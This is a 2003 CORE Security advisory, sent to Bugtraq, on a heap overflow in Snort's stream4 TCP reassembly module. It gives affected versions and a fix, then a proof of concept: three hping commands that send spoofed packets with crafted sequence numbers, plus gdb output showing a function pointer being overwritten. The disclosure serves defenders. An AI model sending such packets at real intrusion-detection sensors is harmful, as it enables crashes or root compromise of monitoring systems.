Date: Tue, 15 Apr 2003 16:01:41 -0300
From: CORE Security Technologies Advisories <advisories@...esecurity.com>
To: Bugtraq <bugtraq@...urityfocus.com>,
	Vulnwatch <vulnwatch@...nwatch.org>
Subject: CORE-2003-0307: Snort TCP Stream Reassembly Integer Overflow Vulnerability



                 Core Security Technologies Advisory
                     http://www.coresecurity.com

      Snort TCP Stream Reassembly Integer Overflow Vulnerability


Date Published: 2003-04-15

Last Update: 2003-04-15

Advisory ID: CORE-2003-0307

Bugtraq ID: 7178

CVE Name: None currently assigned

Title: Snort TCP Stream Reassembly Integer Overflow Vulnerability

Class: Failure to handle exceptional conditions

Remotely Exploitable: Yes

Locally Exploitable: No

Advisory URL:
  http://www.coresecurity.com/common/showdoc.php?idx=313&idxseccion=10

Release Mode: COORDINATED RELEASE


*Vulnerability Description*

  Snort is a very popular open source network intrusion detection
  system.  It can detect hundreds of different attacks by analyzing
  packets received on the network and applying a database of pattern
  matching rules.  Snort also comes with modules and plugins that
  perform a variety of functions such as protocol analysis, output,
  and logging.  For more information about Snort visit
  http:///www.snort.org

  The stream4 preprocessor module is a Snort plugin that reassembles
  TCP traffic before passing it on to be analyzed.  It also detects
  several types of IDS evasion attacks.

  We have discovered an exploitable heap overflow in this module
  resulting from sequence number calculations that overflow a
  32 bit integer variable.

  To exploit this vulnerability an attacker does not need to know on
  which host the Snort sensor is running.  It is only necessary to
  guess where to send traffic that the Snort sensor will 'see' and
  analyze.

  Successful exploitation of this vulnerability could lead to
  execution of arbitrary commands on a system running the Snort sensor
  with the privileges of the user running the snort process (usually
  root), a denial of service attack against the snort sensor and
  possibly the implementation of IDS evasion techniques that would
  prevent the sensor from detecting attacks on the monitored network.


*Vulnerable packages:*

  . Snort 2.0 versions prior to RC1
  . Snort 1.9.x
  . Snort 1.8.x
  . IDSes and other security appliances using snort technology embedded.


*Solution/Vendor Information/Workaround:*

  Snort 2.0 released on April 14th, is available and includes fixes
  to the vulnerability reported in this advisory.

  The source code package for Snort 2.0 can be obtained from
  http://www.snort.org/dl/snort-2.0.0.tar.gz

  Binaries can be obtained from  http://www.snort.org/dl/binaries

  A workaround for this bug is to disable the TCP stream reassembly
  module.  This can be done by commenting out the following line from
  your Snort configuration file (usually 'snort.conf') and sending
  a SIGHUP signal to the running  Snort process:

         preprocessor stream4_reassemble

  Although this will prevent the vulnerability from being exploited it
  will make it possible to easily evade the IDS by fragmenting attacks
  across multiple TCP segments.


*Credits:*

  This vulnerability was discovered by Bruce Leidl, Juan Pablo Martinez
  Kuhn and Alejandro David Weil from Core Security Technologies during
  Bugweek 2003 (March 3-7, 2003).

  We would like to thank Marty Roesch from Sourcefire Inc. for
  addressing this issue and fixing the problem in Snort.


*Technical Description - Exploit/Concept Code:*

  The vulnerability can be demonstrated by sending some specially crafted
  packets with the free command line packet creating utility called hping
  which you can download from http://www.hping.org.

  In the following example 192.168.22.6 and 192.168.22.2 are both hosts
  that actually exist and are on a network monitored by the Snort sensor.

  Two packets are sent from 192.168.22.2 to port 111 on host 192.168.22.6
  and then one packet is sent back to host 192.168.22.2 from  192.168.22.6.

  hping 192.168.22.2 -a 192.168.22.6 -s 3339 -p 111 --ack --rst -c 1 -d 0x1 \\
   --setseq 0xffff0023 --setack 0xc0c4c014

  hping 192.168.22.2 -a 192.168.22.6 -s 3339 -p 111 --ack --rst -c 1 -d 0xF00 \\
   --setseq 0xffffffff --setack 0xc0c4c014

  hping 192.168.22.6 -a 192.168.22.2 -s 111 -p 3339 --ack -c 1 -d 0 \\
   --setseq 0xc0c4c014 --setack 0xffffffff

  The first packet sets up a new Session structure in the stream4 module
  and the important detail is that the base_seq  in the client Stream is
  set to 0xffff0023.

  The second packet sends 3840 bytes of data in a large fragmented IP
  datagram.  This adds a packet with the sequence number 0xffffffff to the
  tree of stream data to be reassembled.

  The last packet sets the last_ack of the client stream to 0xffffffff
  and since the difference between the base_seq and the last_ack of the
  client stream is very large it is flushed for analysis.

  When the stream is reassembled and the second large packet is added,
  the stream is set up with these values in  TraverseFunc() in
  spp_stream4.c.

         s->base_seq = 0xffff0023
         s->next_seq = 0xffff0024
         s->last_ack = 0xffffffff

  The packet itself has these values

         spd->seq_num = 0xffffffff
         spd->payload_size = 0xf00


  The first sanity check makes sure that the packet sequence number is
  between the base_seq and last_ack values for the stream

  spp_stream4.c:Traversefunc()

     if(spd->seq_num < s->base_seq || spd->seq_num > s->last_ack)

        This condition must evaluate to FALSE or the function returns.


  Then there is a check that is supposed to detect conditions that would
  overflow the buffer so that later code can handle it by truncating
  the data.

  The packet sequence number must be greater than both the base_seq and
  next_seq for the stream

         spd->seq_num >= s->base_seq  &&
         spd->seq_num >= s->next_seq &&


  This condition is supposed to detect a packet that will overflow the
  buffer (since the difference between base_seq  and last_ack has already
  been verified to be smaller than the buffer size).  However, if
  (spd->seq_num +  spd->payload_size) overflows a 32 bit integer value
  the expression evaluates to a small integer and the condition is passed.

         (spd->seq_num + spd->payload_size) <= s->last_ack


  Then the offset in the buffer to copy the packet to is calculated.
  With our values, this becomes 0xffdc which is near to the end of
  buffer.

         offset = spd->seq_num - s->base_seq 	(offset = 0xffdc)


  This memcpy() copies spd->payload_size (0xf00) bytes of data starting at
  buf + offset (near the end of the buffer)  overflowing into the heap.

         memcpy(buf + offset, spd->payload, spd->payload_size)


  On our Linux build of Snort 1.9.0 this overflow conveniently overwrites a
  function pointer that is called immediately after the reassembly
  preprocessor returns:

         80          while(idx != NULL)
         (gdb)
         82              assert(idx->func != NULL);
         (gdb)
         83              idx->func(p);
         (gdb)

         Program received signal SIGSEGV, Segmentation fault.
         0x58585858 in ?? ()

  We have successfully exploited this vulnerability and produced an exploit
  that functions on several different binaries of Snort 1.9.0 and 1.9.1.  It
  is available as a module for our penetration testing product Core Impact.


*About Core Security Technologies*

  Core Security Technologies develops strategic security solutions for
  Fortune 1000 corporations, government agencies and military
  organizations. The company offers information security software and
  services designed to assess risk and protect and manage information assets.

  Headquartered in Boston, MA, Core Security Technologies can be reached at
  617-399-6980 or on the Web at http://www.coresecurity.com.

  To learn more about CORE IMPACT, the first comprehensive penetration
  testing framework, visit http://www.coresecurity.com/products/coreimpact


*DISCLAIMER:*

  The contents of this advisory are copyright (c) 2003 CORE Security Technologies
  and may be distributed freely provided that no fee is charged for this
  distribution and proper credit is given.

$Id: snort-stream4-advisory.txt,v 1.7 2003/04/15 18:49:01 carlos Exp $

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